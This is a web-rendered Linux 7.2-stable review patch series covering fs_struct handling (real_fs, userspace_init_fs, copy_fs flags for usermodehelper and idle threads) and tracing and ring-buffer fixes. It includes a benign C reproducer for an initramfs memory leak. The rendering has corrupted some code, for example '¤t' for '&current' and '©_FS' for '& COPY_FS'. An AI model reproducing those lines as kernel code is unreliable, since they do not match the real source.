In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit 67c54d1d730a8b7a43f2560dcea9b7dc95fba1cd ]
Similar to scoped_with_kernel_creds() allow a temporary override of current->fs to serve the few places where lookup is performed from kthread context or needs init's filesytem state.
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- include/linux/fs_struct.h | 31 +++++++++++++++++++++++++++++++ 1 file changed, 31 insertions(+)
include/linux/fs_struct.h +31 -0
@@ -6,6 +6,7 @@#include <linux/path.h> #include <linux/spinlock.h> #include <linux/seqlock.h> +#include <linux/vfsdebug.h> struct fs_struct {int users;
@@ -49,4 +50,34 @@ static inline int current_umask(void) return current->fs->umask; } +/* +* Temporarily use userspace_init_fs for path resolution in kthreads. +* Callers should use scoped_with_init_fs() which automatically +* restores the original fs_struct at scope exit. +*/ +static inline struct fs_struct *__override_init_fs (void ) +{ +struct fs_struct *fs; + + fs = current->fs; +WRITE_ONCE (current->fs, fs); +return fs; +} + +static inline void __revert_init_fs (struct fs_struct *revert_fs) +{ +VFS_WARN_ON_ONCE (current->fs != revert_fs); +WRITE_ONCE (current->fs, revert_fs); +} + +DEFINE_CLASS (__override_init_fs, + struct fs_struct *, +__revert_init_fs (_T), + __override_init_fs(), void) + +#define scoped_with_init_fs () \ + scoped_class(__override_init_fs, __UNIQUE_ID(label)) + +void __init init_userspace_fs (void ); +#endif /* _LINUX_FS_STRUCT_H */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 63/242 fs: add real_fs to track tasks actual fs_struct
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit 1d4ee94a51bdb98610bf7283e6297b133f8c1025 ]
Add a real_fs field to task_struct that always mirrors the fs field. This lays the groundwork for distinguishing between a task's permanent fs_struct and one that is temporarily overridden via scoped_with_init_fs().
When a kthread temporarily overrides current->fs for path lookup, we need to know the original fs_struct for operations like exit_fs() and unshare_fs_struct() that must operate on the real, permanent fs.
For now real_fs is always equal to fs. It is maintained alongside fs in all the relevant paths: exit_fs(), unshare_fs_struct(), switch_fs_struct(), and copy_fs().
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- fs/fs_struct.c | 11 ++++++++--- fs/proc/array.c | 4 ++-- fs/proc/base.c | 8 ++++---- fs/proc_namespace.c | 4 ++-- include/linux/sched.h | 1 + init/init_task.c | 1 + kernel/fork.c | 8 +++++++- kernel/kcmp.c | 2 +- 8 files changed, 26 insertions(+), 13 deletions(-)
fs/fs_struct.c +8 -3
@@ -61,7 +61,7 @@ void chroot_fs_refs(const struct path *old_root, const struct path *new_root)read_lock (&tasklist_lock);for_each_process_thread (g, p) {task_lock (p); - fs = p->fs; + fs = p->real_fs;if (fs) {int hits =0 ;write_seqlock (&fs->seq);
@@ -89,12 +89,13 @@ void free_fs_struct(struct fs_struct *fs)void exit_fs (struct task_struct *tsk) { -struct fs_struct *fs = tsk->fs; +struct fs_struct *fs = tsk->real_fs;if (fs) {int kill;task_lock (tsk);read_seqlock_excl (&fs->seq); + tsk->real_fs =NULL ; tsk->fs =NULL ; kill = !--fs->users;read_sequnlock_excl (&fs->seq);
@@ -126,7 +127,7 @@ struct fs_struct *copy_fs_struct(struct fs_struct *old)int unshare_fs_struct (void ) { -struct fs_struct *fs = current->fs; +struct fs_struct *fs = current->real_fs;struct fs_struct *new_fs =copy_fs_struct (fs);int kill;
@@ -135,8 +136,10 @@ int unshare_fs_struct(void)task_lock (current);read_seqlock_excl (&fs->seq); +VFS_WARN_ON_ONCE (fs != current->fs); kill = !--fs->users; current->fs = new_fs; + current->real_fs = new_fs;read_sequnlock_excl (&fs->seq);task_unlock (current);
@@ -177,8 +180,10 @@ struct fs_struct *switch_fs_struct(struct fs_struct *new_fs) scoped_guard(task_lock, current) { fs = current->fs; +VFS_WARN_ON_ONCE (fs != current->real_fs);read_seqlock_excl (&fs->seq); current->fs = new_fs; + current->real_fs = new_fs;if (--fs->users) new_fs =NULL ;else
fs/proc/array.c +2 -2
@@ -168,8 +168,8 @@ static inline void task_state(struct seq_file *m, struct pid_namespace *ns, cred =get_task_cred (p);task_lock (p); -if (p->fs) - umask = p->fs->umask; +if (p->real_fs) + umask = p->real_fs->umask;if (p->files) max_fds =files_fdtable (p->files)->max_fds;task_unlock (p);
fs/proc/base.c +4 -4
@@ -211,8 +211,8 @@ static int get_task_root(struct task_struct *task, struct path *root)int result = -ENOENT ;task_lock (task); -if (task->fs) { -get_fs_root (task->fs, root); +if (task->real_fs) { +get_fs_root (task->real_fs, root); result =0 ; }task_unlock (task);
@@ -225,8 +225,8 @@ static int proc_cwd_link(struct dentry *dentry, struct path *path,int result = -ENOENT ;task_lock (task); -if (task->fs) { -get_fs_pwd (task->fs, path); +if (task->real_fs) { +get_fs_pwd (task->real_fs, path); result =0 ; }task_unlock (task);
fs/proc_namespace.c +2 -2
@@ -254,13 +254,13 @@ static int mounts_open_common(struct inode *inode, struct file *file, } ns = nsp->mnt_ns;get_mnt_ns (ns); -if (!task->fs) { +if (!task->real_fs) {task_unlock (task);put_task_struct (task); ret = -ENOENT ; goto err_put_ns; } -get_fs_root (task->fs, &root); +get_fs_root (task->real_fs, &root);task_unlock (task);put_task_struct (task);
include/linux/sched.h +1 -0
@@ -1191,6 +1191,7 @@ struct task_struct {unsigned long last_switch_time;#endif /* Filesystem information: */ +struct fs_struct *real_fs;struct fs_struct *fs;/* Open file information: */
init/init_task.c +1 -0
@@ -162,6 +162,7 @@ struct task_struct init_task __aligned(L1_CACHE_BYTES) = { RCU_POINTER_INITIALIZER(cred, &init_cred), .comm = INIT_TASK_COMM, .thread = INIT_THREAD, + .real_fs = &init_fs, .fs = &init_fs, .files = &init_files, #ifdef CONFIG_IO_URING
kernel/fork.c +7 -1
@@ -1621,6 +1621,8 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)static int copy_fs (u64 clone_flags,struct task_struct *tsk) {struct fs_struct *fs = current->fs; + +VFS_WARN_ON_ONCE (current->fs != current->real_fs);if (clone_flags &CLONE_FS ) {/* tsk->fs is already what we want */ read_seqlock_excl (&fs->seq);
@@ -1633,7 +1635,7 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk)read_sequnlock_excl (&fs->seq);return 0 ; } - tsk->fs =copy_fs_struct (fs); + tsk->real_fs = tsk->fs =copy_fs_struct (fs);if (!tsk->fs)return -ENOMEM ;return 0 ;
@@ -3251,6 +3253,10 @@ int ksys_unshare(unsigned long unshare_flags)if (unshare_flags &CLONE_NEWNS ) unshare_flags |=CLONE_FS ; +/* No unsharing with overriden fs state */ +VFS_WARN_ON_ONCE (unshare_flags & (CLONE_NEWNS |CLONE_FS ) && + current->fs != current->real_fs); + err =check_unshare_flags (unshare_flags);if (err) goto bad_unshare_out;
kernel/kcmp.c +1 -1
@@ -186,7 +186,7 @@ SYSCALL_DEFINE5(kcmp, pid_t, pid1, pid_t, pid2, int, type, ret =kcmp_ptr (task1->files, task2->files,KCMP_FILES );break ;case KCMP_FS : - ret =kcmp_ptr (task1->fs, task2->fs,KCMP_FS ); + ret =kcmp_ptr (task1->real_fs, task2->real_fs,KCMP_FS );break ;case KCMP_SIGHAND : ret =kcmp_ptr (task1->sighand, task2->sighand,KCMP_SIGHAND );
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 64/242 fs: make userspace_init_fs a dynamically-initialized pointer
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit 9a8e296958884b807a02759975170b6559901242 ]
Change userspace_init_fs from a declared-but-unused extern struct to a dynamically initialized pointer. Add init_userspace_fs() which is called early in kernel_init() (PID 1) to record PID 1's fs_struct as the canonical userspace filesystem state.
Wire up __override_init_fs() and __revert_init_fs() to actually swap current->fs to/from userspace_init_fs. Previously these were no-ops that stored current->fs back to itself.
Fix nullfs_userspace_init() to compare against userspace_init_fs instead of &init_fs. When PID 1 unshares its filesystem state, revert userspace_init_fs to init_fs's root (nullfs) so that stale filesystem state is not silently inherited by kworkers and usermodehelpers.
At this stage PID 1's fs still points to rootfs (set by init_mount_tree), so userspace_init_fs points to rootfs and scoped_with_init_fs() is functionally equivalent to its previous no-op behavior.
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- fs/fs_struct.c | 48 ++++++++++++++++++++++++++++++++++++++- include/linux/fs_struct.h | 15 ++++++------ include/linux/init_task.h | 1 + init/main.c | 3 +++ 4 files changed, 59 insertions(+), 8 deletions(-)
fs/fs_struct.c +47 -1
@@ -8,6 +8,7 @@#include <linux/fs_struct.h> #include <linux/init_task.h> #include "internal.h" +#include "mount.h" /* * Replace the fs->{rootmnt,root} with {mnt,dentry}. Put the old values.
@@ -163,15 +164,34 @@ EXPORT_SYMBOL_GPL(unshare_fs_struct);* fs_struct state. Breaking that contract sucks for both sides. * So just don't bother with extra work for this. No sane init * system should ever do this. +* +* On older kernels if PID 1 unshared its filesystem state with us the +* kernel simply used the stale fs_struct state implicitly pinning +* anything that PID 1 had last used. Even if PID 1 might've moved on to +* some completely different fs_struct state and might've even unmounted +* the old root. +* +* This has hilarious consequences: Think continuing to dump coredump +* state into an implicitly pinned directory somewhere. Calling random +* binaries in the old rootfs via usermodehelpers. +* +* Be aggressive about this: We simply reject operating on stale +* fs_struct state by reverting to nullfs. Every kworker that does +* lookups after this point will fail. Every usermodehelper call will +* fail. Tough luck but let's be kind and emit a warning to userspace. */ static inline void validate_fs_switch (struct fs_struct *old_fs) { +might_sleep (); +if (likely (current->pid !=1 ))return ;/* @old_fs may be dangling but for comparison it's fine */ -if (old_fs != &init_fs) +if (old_fs != userspace_init_fs)return ;pr_warn ("VFS: Pid 1 stopped sharing filesystem state\n" ); +set_fs_root (userspace_init_fs, &init_fs.root); +set_fs_pwd (userspace_init_fs, &init_fs.root); }struct fs_struct *switch_fs_struct (struct fs_struct *new_fs)
@@ -201,3 +221,29 @@ struct fs_struct init_fs = { .seq = __SEQLOCK_UNLOCKED(init_fs.seq), .umask = 0022, }; + +struct fs_struct *userspace_init_fs__ro_after_init ; +EXPORT_SYMBOL_GPL (userspace_init_fs); + +void __init init_userspace_fs (void ) +{ +struct mount *m; +struct path root; + +/* Move PID 1 from nullfs into the initramfs. */ + m =topmost_overmount (current->nsproxy->mnt_ns->root); + root.mnt = &m->mnt; + root.dentry = root.mnt->mnt_root; + +VFS_WARN_ON_ONCE (current->pid !=1 ); + +set_fs_root (current->fs, &root); +set_fs_pwd (current->fs, &root); + +/* Hold a reference for the global pointer. */ +read_seqlock_excl (¤t->fs->seq); + current->fs->users++; +read_sequnlock_excl (¤t->fs->seq); + + userspace_init_fs = current->fs; +}
include/linux/fs_struct.h +8 -7
@@ -17,6 +17,7 @@ struct fs_struct { } __randomize_layout;extern struct kmem_cache *fs_cachep; +extern struct fs_struct *userspace_init_fs;extern void exit_fs (struct task_struct *);extern void set_fs_root (struct fs_struct *,const struct path *);
@@ -57,17 +58,17 @@ static inline int current_umask(void)*/ static inline struct fs_struct *__override_init_fs (void ) { -struct fs_struct *fs; +struct fs_struct *old_fs; - fs = current->fs; -WRITE_ONCE (current->fs, fs); -return fs; + old_fs = current->fs; +WRITE_ONCE (current->fs, userspace_init_fs); +return old_fs; } -static inline void __revert_init_fs (struct fs_struct *revert_fs) +static inline void __revert_init_fs (struct fs_struct *old_fs) { -VFS_WARN_ON_ONCE (current->fs != revert_fs); -WRITE_ONCE (current->fs, revert_fs); +VFS_WARN_ON_ONCE (current->fs != userspace_init_fs); +WRITE_ONCE (current->fs, old_fs); } DEFINE_CLASS(__override_init_fs,
include/linux/init_task.h +1 -0
@@ -24,6 +24,7 @@extern struct files_struct init_files;extern struct fs_struct init_fs; +extern struct fs_struct *userspace_init_fs;extern struct nsproxy init_nsproxy;#ifndef CONFIG_VIRT_CPU_ACCOUNTING_NATIVE
init/main.c +3 -0
@@ -103,6 +103,7 @@#include <linux/stackdepot.h> #include <linux/randomize_kstack.h> #include <linux/pidfs.h> +#include <linux/fs_struct.h> #include <linux/ptdump.h> #include <linux/time_namespace.h> #include <linux/unaligned.h>
@@ -1545,6 +1546,8 @@ static int __ref kernel_init(void *unused) {int ret; +init_userspace_fs (); +/* * Wait until kthreadd is all set-up. */
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 65/242 fs: add umh argument to struct kernel_clone_args
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit ed4b1672529018b2013c62235c4bf1ab0ae0e3d4 ]
Add a umh field to struct kernel_clone_args. When set, copy_fs() copies from pid 1's fs_struct instead of the kthread's fs_struct. This ensures usermodehelper threads always get init's filesystem state regardless of their parent's (kthreadd's) fs.
Usermodehelper threads are not allowed to create mount namespaces (CLONE_NEWNS), share filesystem state (CLONE_FS), or be started from a non-initial mount namespace. No usermodehelper currently does this so we don't need to worry about this restriction.
Set .umh = 1 in user_mode_thread(). At this stage pid 1's fs points to rootfs which is the same as kthreadd's fs, so this is functionally equivalent.
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- include/linux/sched/task.h | 1 + kernel/fork.c | 25 +++++++++++++++++++++---- kernel/umh.c | 6 ++---- 3 files changed, 24 insertions(+), 8 deletions(-)
include/linux/sched/task.h +1 -0
@@ -31,6 +31,7 @@ struct kernel_clone_args { u32 io_thread:1; u32 user_worker:1; u32 no_files:1; + u32 umh:1;unsigned long stack;unsigned long stack_size;unsigned long tls;
kernel/fork.c +21 -4
@@ -1618,11 +1618,27 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)return task_exec_state_copy (tsk); } -static int copy_fs (u64 clone_flags,struct task_struct *tsk) +static int copy_fs (u64 clone_flags,struct task_struct *tsk,bool umh) { -struct fs_struct *fs = current->fs; +struct fs_struct *fs; + +/* +* Usermodehelper may copy userspace_init_fs filesystem state but +* they don't get to create mount namespaces, share the +* filesystem state, or be started from a non-initial mount +* namespace. +*/ +if (umh) { +if (clone_flags & (CLONE_NEWNS |CLONE_FS )) +return -EINVAL ; +if (current->nsproxy->mnt_ns != &init_mnt_ns) +return -EINVAL ; + fs = userspace_init_fs; + }else { + fs = current->fs; +VFS_WARN_ON_ONCE (current->fs != current->real_fs); + } -VFS_WARN_ON_ONCE (current->fs != current->real_fs);if (clone_flags &CLONE_FS ) {/* tsk->fs is already what we want */ read_seqlock_excl (&fs->seq);
@@ -2282,7 +2298,7 @@ __latent_entropy struct task_struct *copy_process( retval =copy_files (clone_flags, p, args->no_files);if (retval) goto bad_fork_cleanup_semundo; - retval =copy_fs (clone_flags, p); + retval =copy_fs (clone_flags, p, args->umh);if (retval) goto bad_fork_cleanup_files; retval =copy_sighand (clone_flags, p);
@@ -2825,6 +2841,7 @@ pid_t user_mode_thread(int (*fn)(void *), void *arg, unsigned long flags) .exit_signal = (flags & CSIGNAL), .fn = fn, .fn_arg = arg, + .umh = 1, };return kernel_clone (&args);
kernel/umh.c +2 -4
@@ -71,10 +71,8 @@ static int call_usermodehelper_exec_async(void *data)spin_unlock_irq (¤t->sighand->siglock);/* -* Initial kernel threads share ther FS with init, in order to -* get the init root directory. But we've now created a new -* thread that is going to execve a user process and has its own -* 'struct fs_struct'. Reset umask to the default. +* Usermodehelper threads get a copy of userspace init's +* fs_struct. Reset umask to the default. */ current->fs->umask =0022 ;
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 66/242 fs: pass flags to copy_fs()
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit 9cd0df397a119d6b95ad68e2c82b69b4d620694e ]
Turn the umh boolean into a flags argument. Idle threads need their own case in copy_fs() as well and that's nicer than a second boolean.
No functional changes.
Stable-dep-of: d2bdb9b61b42 ("fs: let idle threads share init_fs")
--- kernel/fork.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-)
kernel/fork.c +8 -3
@@ -1618,7 +1618,12 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)return task_exec_state_copy (tsk); } -static int copy_fs (u64 clone_flags,struct task_struct *tsk,bool umh) +enum copy_fs_flags_t { +COPY_FS_UMH = (1 <<0 ), +}; + +static int copy_fs (u64 clone_flags,struct task_struct *tsk, +enum copy_fs_flags_t flags) {struct fs_struct *fs;
@@ -1628,7 +1633,7 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk, bool umh)* filesystem state, or be started from a non-initial mount * namespace. */ -if (umh) { +if (flags ©_FS_UMH ) {if (clone_flags & (CLONE_NEWNS |CLONE_FS ))return -EINVAL ;if (current->nsproxy->mnt_ns != &init_mnt_ns)
@@ -2298,7 +2303,7 @@ __latent_entropy struct task_struct *copy_process( retval =copy_files (clone_flags, p, args->no_files);if (retval) goto bad_fork_cleanup_semundo; - retval =copy_fs (clone_flags, p, args->umh); + retval =copy_fs (clone_flags, p, args->umh ?COPY_FS_UMH :0 );if (retval) goto bad_fork_cleanup_files; retval =copy_sighand (clone_flags, p);
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 67/242 fs: let idle threads share init_fs
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Christian Brauner <[email protected]>
[ Upstream commit d2bdb9b61b42766ed66eef822370ad44435f40fe ]
With nullfs as the real rootfs userspace can pivot_root() away from the initramfs and unmount it:
chdir(rootfs);
pivot_root(".", ".");
umount2(".", MNT_DETACH);That's what systemd does and the initramfs is supposed to go away at that point together with all the memory it uses. But on every machine with more than one possible cpu the initramfs superblock stays around forever (cf. [1]). With ramfs as rootfs the unpacked initramfs shows up as Unevictable in /proc/meminfo, with tmpfs as Shmem, and it is never freed. In the reports that's between 70MB and 150MB.
The idle threads of the secondary cpus are created by fork_idle() from smp_init(). That runs in kernel_init(), i.e., in PID 1, after init_userspace_fs() moved PID 1 from nullfs into the initramfs. fork_idle() doesn't pass CLONE_FS so each idle thread gets a private copy of PID 1's fs_struct and with it a reference to the initramfs as root and as pwd.
pivot_root() relies on chroot_fs_refs() to move everyone whose root or pwd is the old root over to the new root. Idle threads aren't on the task list though so chroot_fs_refs() never finds them. They never exit either. So they keep the initramfs mount and with it the superblock alive for good. I overlooked this when I added nullfs. Before that the rootfs could never be unmounted anyway so it didn't matter what pinned it.
Idle threads are kernel threads and init_task, the idle thread of the boot cpu, already uses init_fs. So let the idle threads of the other cpus share init_fs as well instead of copying PID 1's filesystem state.
Note that kernels before 7.3 need a different backport. There PID 1 still shares init_fs with all kthreads so passing CLONE_FS in fork_idle() is enough. They also have a second pin: devtmpfsd unshares a copy of the initial mount namespace, initramfs mount included. That was fixed in commit 66d2faeccbff ("devtmpfs: create private mount namespace").
Reproducer, as /init in an initramfs together with a 128MB ballast file, booted with root=/dev/sda to get ramfs and with -smp 4:
// SPDX-License-Identifier: GPL-2.0
/* initramfs /init: switch root like systemd, check the old root */
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mount.h>
#include <sys/reboot.h>
#include <sys/sendfile.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/sysmacros.h>
#include <unistd.h>
static void meminfo(void)
{
char line[256];
FILE *f = fopen("/proc/meminfo", "re");
while (f && fgets(line, sizeof(line), f))
if (!strncmp(line, "Unevictable:", 12) ||
!strncmp(line, "Shmem:", 6))
fputs(line, stdout);
if (f)
fclose(f);
}
int main(int argc, char *argv[])
{
struct stat st;
char dev[32], buf[32];
unsigned int maj, min;
int fd, in, out;
long r;
if (argc > 1) {
sleep(2);
meminfo();
/* ustat() only finds live superblocks */
r = syscall(SYS_ustat, (unsigned)atoi(argv[1]), buf);
printf("initramfs superblock %s\n", r ? "freed" : "pinned");
fflush(stdout);
sleep(1);
reboot(RB_POWER_OFF);
}
mount("proc", "/proc", "proc", 0, NULL);
mount("devtmpfs", "/dev", "devtmpfs", 0, NULL);
/* drop the fds console_on_rootfs() opened in the initramfs */
fd = open("/dev/console", O_RDWR);
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
close(fd);
setvbuf(stdout, NULL, _IOLBF, 0);
meminfo();
stat("/", &st);
maj = major(st.st_dev);
min = minor(st.st_dev);
/* new_encode_dev(), what ustat() expects */
snprintf(dev, sizeof(dev), "%u",
(min & 0xff) | (maj << 8) | ((min & ~0xffu) << 12));
mkdir("/sysroot", 0755);
mount("tmpfs", "/sysroot", "tmpfs", 0, NULL);
mkdir("/sysroot/proc", 0755);
mkdir("/sysroot/dev", 0755);
in = open("/init", O_RDONLY);
out = open("/sysroot/init", O_WRONLY | O_CREAT, 0755);
fstat(in, &st);
sendfile(out, in, NULL, st.st_size);
close(in);
close(out);
mount(NULL, "/", NULL, MS_REC | MS_PRIVATE, NULL);
mount("/proc", "/sysroot/proc", NULL, MS_BIND | MS_REC, NULL);
mount("/dev", "/sysroot/dev", NULL, MS_BIND | MS_REC, NULL);
chdir("/sysroot");
if (syscall(SYS_pivot_root, ".", ".") || umount2(".", MNT_DETACH))
perror("pivot_root");
execl("/init", "/init", dev, NULL);
return 1;
}Before:
Unevictable: 131812 kB
Shmem: 0 kB
Unevictable: 131812 kB
Shmem: 792 kB
initramfs superblock pinned
After:
Unevictable: 131812 kB
Shmem: 0 kB
Unevictable: 0 kB
Shmem: 792 kB
initramfs superblock freed
With -smp 1 the superblock is freed without this patch as well.
[1]: https://github.com/systemd/systemd/issues/43911
--- kernel/fork.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-)
kernel/fork.c +8 -3
@@ -1620,6 +1620,7 @@ static int copy_exec_state(u64 clone_flags, struct task_struct *tsk)enum copy_fs_flags_t {COPY_FS_UMH = (1 <<0 ), +COPY_FS_IDLE = (1 <<1 ), }; static int copy_fs(u64 clone_flags, struct task_struct *tsk,
@@ -1639,13 +1640,14 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk,if (current->nsproxy->mnt_ns != &init_mnt_ns)return -EINVAL ; fs = userspace_init_fs; + }else if (flags ©_FS_IDLE ) { + fs = &init_fs; }else { fs = current->fs;VFS_WARN_ON_ONCE (current->fs != current->real_fs); }if (clone_flags &CLONE_FS ) { -/* tsk->fs is already what we want */ read_seqlock_excl (&fs->seq);/* "users" and "in_exec" locked for check_unsafe_exec() */ if (fs->in_exec) {
@@ -1654,6 +1656,7 @@ static int copy_fs(u64 clone_flags, struct task_struct *tsk, } fs->users++;read_sequnlock_excl (&fs->seq); + tsk->real_fs = tsk->fs = fs;return 0 ; } tsk->real_fs = tsk->fs =copy_fs_struct (fs);
@@ -2303,7 +2306,9 @@ __latent_entropy struct task_struct *copy_process( retval =copy_files (clone_flags, p, args->no_files);if (retval) goto bad_fork_cleanup_semundo; - retval =copy_fs (clone_flags, p, args->umh ?COPY_FS_UMH :0 ); + retval =copy_fs (clone_flags, p, + (args->umh ?COPY_FS_UMH :0 ) | + (args->idle ?COPY_FS_IDLE :0 ));if (retval) goto bad_fork_cleanup_files; retval =copy_sighand (clone_flags, p);
@@ -2675,7 +2680,7 @@ struct task_struct * __init fork_idle(int cpu) {struct task_struct *task;struct kernel_clone_args args = { - .flags =CLONE_VM , + .flags =CLONE_VM |CLONE_FS , .fn = &idle_dummy, .fn_arg =NULL , .kthread =1 ,
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 68/242 tracing: Fix empty symbol names in simple_ring_buffer undef check
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <[email protected]>
[ Upstream commit c902b6d709845def1d1d3ab818e0b9d9b962ab16 ]
Sparc64 emits empty symmbol names. Skips them when establishing the allowlist and when extracing undefined symbols.
--- kernel/trace/Makefile | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-)
kernel/trace/Makefile +2 -2
@@ -146,11 +146,11 @@ KASAN_SANITIZE_undefsyms_base.o := y UNDEFINED_ALLOWLIST = __asan __gcov __kasan __kcsan __hwasan __sancov __sanitizer __tsan __ubsan __msan \ __aeabi_unwind_cpp __s390_indirect_jump __x86_indirect_thunk simple_ring_buffer \ - $(shell $(NM) -u $(obj)/undefsyms_base.o 2>/dev/null | awk '{print $$2}') + $(shell $(NM) -u $(obj)/undefsyms_base.o 2>/dev/null | awk '$$2 {print $$2}') quiet_cmd_check_undefined = NM $< cmd_check_undefined = \ - undefsyms=$$($(NM) -u $< | grep -v $(addprefix -e , $(UNDEFINED_ALLOWLIST)) || true); \ + undefsyms=$$($(NM) -u $< | awk '$$2 {print $$2}' | grep -v $(addprefix -e , $(UNDEFINED_ALLOWLIST)) || true); \ if [ -n "$$undefsyms" ]; then \ echo "Unexpected symbols in $<:" >&2; \ echo "$$undefsyms" >&2; \
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 69/242 tracing: Fix simple_ring_buffer undef check on parisc
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <[email protected]>
[ Upstream commit ba875c4483359ad4c056e00d3da089c7db56bea6 ]
simple_ring_buffer uses local_set() and cmpxchg() on unsigned long. Add them to undefsyms_base.c to extend the allowlist for the parisc architecture.
--- kernel/trace/undefsyms_base.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-)
kernel/trace/undefsyms_base.c +4 -1
@@ -9,6 +9,7 @@#include <linux/atomic.h> #include <linux/string.h> +#include <asm/local.h> #include <asm/page.h> void undefsyms_base (void *p,int n);
@@ -18,11 +19,13 @@ static char page[PAGE_SIZE] __aligned(PAGE_SIZE);void undefsyms_base (void *p,int n) {char buffer[256 ] = {0 }; -u32 u =0 ; +memset ((char *volatile )page,8 ,PAGE_SIZE );memset ((char *volatile )buffer,8 ,sizeof (buffer));memcpy ((void *volatile )p, buffer,sizeof (buffer));cmpxchg ((u32 *volatile )&u,0 ,8 ); +cmpxchg ((unsigned long *)p,0 ,8 ); +local_set ((local_t *)p,8 );WARN_ON (n ==0xdeadbeef ); }
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 70/242 tracing: Fix simple_ring_buffer undef check on sparc64
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <[email protected]>
[ Upstream commit 0fa993581aaa58a34ae3dcebebe0fbf593fcb441 ]
simple_ring_buffer relies on headers that end up including <asm/thread_info.h>. On sparc64, this emits the undefined symbol current_thread_info_reg. Allow this symbol.
--- kernel/trace/Makefile | 1 + 1 file changed, 1 insertion(+)
kernel/trace/Makefile +1 -0
@@ -146,6 +146,7 @@ KASAN_SANITIZE_undefsyms_base.o := y UNDEFINED_ALLOWLIST = __asan __gcov __kasan __kcsan __hwasan __sancov __sanitizer __tsan __ubsan __msan \ __aeabi_unwind_cpp __s390_indirect_jump __x86_indirect_thunk simple_ring_buffer \ + current_thread_info_reg \ $(shell $(NM) -u $(obj)/undefsyms_base.o 2>/dev/null | awk '$$2 {print $$2}') quiet_cmd_check_undefined = NM $<
Signature · 1 line
2.53.0
Greg Kroah-Hartman
maintainerPATCH 71/242 ring-buffer: Skip si_mem_available() for persistent and remote buffers
In reply to Greg Kroah-Hartman7.2-stable review patch. If anyone has any objections, please let me know.
------------------
From: Vincent Donnefort <[email protected]>
[ Upstream commit c9fc60c18b6d42efdea0cd88ca132b2f452157c3 ]
Persistent and remote buffer memory is pre-allocated by the time __rb_allocate_pages() is called. Skip si_mem_available() to avoid wrongly failing the allocation under memory pressure.
For the same reason, unset user_thread.
--- kernel/trace/ring_buffer.c | 41 +++++++++++++++++++------------------- 1 file changed, 21 insertions(+), 20 deletions(-)
kernel/trace/ring_buffer.c +21 -20
@@ -2424,20 +2424,30 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,struct trace_buffer *buffer = cpu_buffer->buffer;struct ring_buffer_cpu_meta *meta =NULL ;struct buffer_page *bpage, *tmp; -bool user_thread = current->mm !=NULL ;struct ring_buffer_desc *desc =NULL ; +bool user_thread = false;long i; -/* -* Check if the available memory is there first. -* Note, si_mem_available() only gives us a rough estimate of available -* memory. It may not be accurate. But we don't care, we just want -* to prevent doing any allocation when it is obvious that it is -* not going to succeed. -*/ - i =si_mem_available (); -if (i < nr_pages) -return -ENOMEM ; +if (buffer->range_addr_start) { + meta =rb_range_meta (buffer, nr_pages, cpu_buffer->cpu); + }else if (buffer->remote) { + desc =ring_buffer_desc (buffer->remote->desc, cpu_buffer->cpu); +if (!desc ||WARN_ON (desc->nr_page_va != (nr_pages +1 ))) +return -EINVAL ; + }else { +/* +* Check if the available memory is there first. +* Note, si_mem_available() only gives us a rough estimate of available +* memory. It may not be accurate. But we don't care, we just want +* to prevent doing any allocation when it is obvious that it is +* not going to succeed. +*/ + i =si_mem_available (); +if (i < nr_pages) +return -ENOMEM ; + + user_thread = current->mm !=NULL ; + }/* * If a user thread allocates too much, and si_mem_available()
@@ -2451,15 +2461,6 @@ static int __rb_allocate_pages(struct ring_buffer_per_cpu *cpu_buffer,if (user_thread)set_current_oom_origin (); -if (buffer->range_addr_start) - meta =rb_range_meta (buffer, nr_pages, cpu_buffer->cpu); - -if (buffer->remote) { - desc =ring_buffer_desc (buffer->remote->desc, cpu_buffer->cpu); -if (!desc ||WARN_ON (desc->nr_page_va != (nr_pages +1 ))) -return -EINVAL ; - } -for (i =0 ; i < nr_pages; i++) { bpage =alloc_cpu_page (cpu_buffer->cpu);
